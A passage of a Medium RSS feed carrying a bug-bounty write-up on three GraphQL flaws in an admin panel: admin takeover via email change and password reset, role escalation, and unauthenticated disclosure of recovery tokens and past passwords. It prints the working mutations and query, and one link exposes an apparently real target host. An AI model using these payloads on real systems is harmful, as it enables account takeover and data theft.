src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FZ33bHCe4az4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DZ33bHCe4az4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FZ33bHCe4az4%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/21ff8302af44b43f2d62419741bb290b/href">https://medium.com/media/21ff8302af44b43f2d62419741bb290b/href</a></iframe><p>Linkedin Mekky → <a href="https://www.linkedin.com/in/abdelrahem-mekky/">https://www.linkedin.com/in/abdelrahem-mekky/</a></p><p>Abdo Maged → <a href="https://www.linkedin.com/in/abdo-maged-88a72a269/">https://www.linkedin.com/in/abdo-maged-88a72a269/</a></p><p>0xMekky →<a href="https://medium.com/@0xmekky">https://medium.com/@0xmekky</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1463015695db" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[How I Hacked a User Management System and Found 3 Critical GraphQL Vulnerabilities]]></title>
            <link>https://0x4bdo.medium.com/how-i-hacked-a-user-management-system-and-found-3-critical-graphql-vulnerabilities-4362eff1a38f?source=rss-10a7a05e0129------2</link>
            <guid isPermaLink="false">https://medium.com/p/4362eff1a38f</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[data-privacy]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[4bd0_m4g3d]]></dc:creator>
            <pubDate>Wed, 22 Jan 2025 14:34:32 GMT</pubDate>
            <atom:updated>2025-01-22T14:45:02.346Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eCzyt2ZY_GXrvHZeQHBWqA.png" /></figure><p><em>Hi, I’m Abdo Maged, a bug hunter with 7 months of experience in identifying and reporting security vulnerabilities.</em></p><h3><strong>First Bug :</strong></h3><h3><strong>“Taking Over an Admin Account: A Story of GraphQL Exploitation”</strong></h3><p>It all started when I decided to explore the admin panel of a target application hosted at https://admin-example.com. My objective was to test for common vulnerabilities, focusing on the GraphQL endpoint at /graphql. I had a hunch that improper access controls might lead to serious security flaws, and my curiosity paid off.</p><h3>Step 1: Uncovering the Endpoint</h3><p>Using basic recon techniques, I discovered the GraphQL endpoint. Visiting https://admin-example.com/graphql in a browser confirmed the endpoint was live and accessible. The first thing I noticed was that I could freely interact with it, even without authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*boFSuSG707nKW7DTC3jZ1g.jpeg" /></figure><p>I decided to investigate further by exploring the available mutations. My goal was simple: see if any sensitive fields could be tampered with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qixRWVWby1NC03pXYM-F0w.jpeg" /></figure><h3>Step 2: Crafting a Mutation</h3><p>To my surprise, I found that the mutation updateUsersPermissionsUser could be used to modify user details. I hypothesized that this mutation might allow me to change the email associated with an admin account.</p><p>I constructed the following mutation:</p><pre>mutation {<br>  updateUsersPermissionsUser(id: 6, data: {<br>    email: &quot;attacker@example.com&quot;,<br>    blocked: false,   # Bypass block functionality<br>    confirmed: true   # Skip email confirmation<br>  }) {<br>    data {<br>      id<br>      attributes {<br>        username<br>        email<br>        confirmed<br>        blocked<br>      }<br>    }<br>  }<br>}</pre><p>To test this, I submitted the query and observed the response. While the server claimed the operation had failed, I verified that the email associated with the admin account had indeed been updated.</p><h3>Step 3: Resetting the Password</h3><p>At this point, I controlled the email for an admin account. My next move was to gain full access by resetting the password. I used the “Forgot Password” functionality via the following mutation:</p><pre>mutation {<br>  forgotPassword(email: &quot;attacker@example.com&quot;) {<br>    ok<br>  }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JeL7G4NKke7He6yAYKj_fw.jpeg" /></figure><p>Shortly afterward, I received an email with a token to reset the password. This token became the key to my next steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*7rbuU7i1UHit9XuO8Pp_VA.jpeg" /></figure><h3>Step 4: Setting a New Password</h3><p>Armed with the reset token, I crafted another mutation to set a new password:</p><pre>mutation {<br>  resetPassword(password: &quot;NewSecurePassword123&quot;, passwordConfirmation: &quot;NewSecurePassword123&quot;, code: &quot;VALID_CODE&quot;) {<br>    jwt<br>    user {<br>      id<br>      username<br>      email<br>    }<br>  }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7aEYpcoSXh0TLQP5rKI8IQ.jpeg" /></figure><p>The response contained a privileged JWT token, granting me administrative access to the system.</p><h3>Step 5: Full Account Takeover</h3><p>With the token in hand, I added it to the Authorization header of my requests:</p><pre>Authorization: Bearer &lt;JWT_TOKEN&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dkqioZXMovlZXH1tx5fNPQ.jpeg" /></figure><p>I now had full access to the admin account, including all its privileges.</p><h3>“ Privilege Escalation: Discovering a Hidden Flaw in GraphQL “</h3><p>I knew there was more lurking behind the GraphQL endpoint at <a href="https://admin-heritage.neom.com/graphql">https://admin-example.com/graphql</a>. The earlier findings had already hinted at weak access controls, so I set out to test how far these flaws extended. I wasn’t just looking for vulnerabilities; I was piecing together a story of a system ripe for privilege escalation.</p><h3>Step 1: The Curious Mutation</h3><p>I started by exploring the available GraphQL mutations, particularly focusing on updateUsersPermissionsUser. The documentation wasn’t visible, but by testing and observing the responses, I uncovered hints that this mutation allowed role changes for users.</p><p>This intrigued me: Could I modify roles without proper authorization? It was time to get creative and find out.</p><h3>Step 2: Crafting the Escalation</h3><p>Using my standard user account, I submitted the following mutation:</p><pre>mutation {<br>  updateUsersPermissionsUser(id: 5, data: {<br>    role: 5   # ID of the &quot;Super Editor&quot; role<br>  }) {<br>    data {<br>      id<br>      attributes {<br>        username<br>        email<br>        role {<br>          data {<br>            id<br>            attributes {<br>              name<br>              description<br>            }<br>          }<br>        }<br>      }<br>    }<br>  }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1nvowKH2tKrwJaGnLmOZQQ.jpeg" /></figure><p>Initially, the server responded with what seemed like a denial. “Operation failed,” it claimed. But I wasn’t convinced. I dove deeper, verifying the actual impact on the database. Moments later, I found it — my account’s role was updated to “Super Editor.”</p><h3>The Doors Open</h3><p>With my new role, I explored the admin panel. Every locked door was now open. Actions reserved for top-level users were suddenly within my reach. From managing content to accessing sensitive configurations, the possibilities were staggering.</p><p>But that wasn’t all. Testing the same mutation on other admin accounts revealed another disturbing flaw: I could demote admins by changing their roles to something less privileged. This system lacked not just locks, but any notion of a proper guard.</p><h3>The Bigger Picture</h3><p>This wasn’t just a bug; it was a gaping hole in the application’s security model. Imagine an attacker escalating their privileges to “Super Editor” or sabotaging critical admin accounts. The potential for damage was almost limitless.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>The Third Bug : Unauthorized GraphQL access Led to Admins PII User Info<br>Disclosure.</h3><p>After stumbling upon multiple vulnerabilities in the GraphQL endpoint at https://admin-example.com/graphql, my instinct told me there was more to discover. The endpoint was proving to be a treasure trove of security misconfigurations, so I decided to test if it could reveal sensitive information about admin accounts. What I uncovered was both surprising and critical.</p><h3>Step 1: Setting the Stage</h3><p>As I navigated the GraphQL playground, I decided to explore potential queries that might expose user data. My focus shifted to discovering whether sensitive Personally Identifiable Information (PII) of admins was accessible.</p><p>I wrote the following query to fetch user details:</p><pre>query GetAllUsers {<br>  usersPermissionsUsers {<br>    data {<br>      id<br>      attributes {<br>        username<br>        email<br>        failedAttempt<br>        recoveryToken<br>        lastPasswords<br>        createdAt<br>        confirmed<br>        blocked<br>        role {<br>          data {<br>            id<br>            attributes {<br>              name<br>              description<br>            }<br>          }<br>        }<br>      }<br>    }<br>  }<br>}</pre><p>Executing this query, I was astonished to find that it not only worked without authentication but also returned a wealth of sensitive data about all users — including admins.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XLtsX5b2FM6_DcfeBz9ePA.jpeg" /></figure><h3>Step 2: Unearthing Sensitive Admin Information</h3><p>The response revealed critical information:</p><ul><li>Admin usernames and emails</li><li>Password recovery tokens and past passwords</li><li>Account statuses such as confirmed, blocked, and failedAttempt</li><li>Creation dates and role details</li></ul><p>This level of exposure meant an attacker could gather data to launch targeted phishing attacks, perform account takeovers, or build detailed profiles for further exploitation.</p><h3>Step 3: Testing Scope and Validation</h3><p>I dug deeper, testing whether this issue was limited to specific accounts or applied universally. The results were consistent — anyone with access to the endpoint could retrieve the data.</p><p>The problem stemmed from the GraphQL endpoint treating all users equally, without enforcing proper authorization checks. High-privilege data was as easily accessible as public information.</p><h3>Step 4: The Danger of Unchecked Access</h3><p>The implications of this vulnerability are severe:</p><ul><li><strong>Privacy Violation:</strong> Exposing sensitive data of admin and user accounts is a clear breach of privacy.</li><li><strong>Potential Exploits:</strong> Information such as recovery tokens and past passwords could aid attackers in gaining unauthorized access.</li><li><strong>Reputational Risk:</strong> Public exposure of such sensitive details could damage user trust and the organization’s reputation.</li></ul><h3>Lessons Learned and Recommendations</h3><p>This vulnerability underscores the importance of strict authorization controls. To address this issue:</p><ol><li><strong>Enforce Role-Based Access Control (RBAC):</strong> Only authorized users should be able to query sensitive data.</li><li><strong>Filter Returned Fields:</strong> Sensitive data like recovery tokens and past passwords should never be included in public API responses.</li><li><strong>Implement Token Validation:</strong> All queries should require a valid and authorized token before processing.</li></ol><p>والسَلآْم عَلْيُكّمٌ وٍرٍحَمُةّ الله وٍبُرٍكآتُهْ</p><p>Contact Me</p><p>facebook : <a href="https://www.facebook.com/profile.php?id=100014962988014">https://www.facebook.com/profile.php?id=100014962988014</a></p><p>linkdin → <a href="https://www.linkedin.com/in/abdo-maged-88a72a269?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=android_app">https://www.linkedin.com/in/abdo-maged-88a72a269?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=android_app</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4362eff1a38f" width="1" height="1" alt="">]]></content:encoded>
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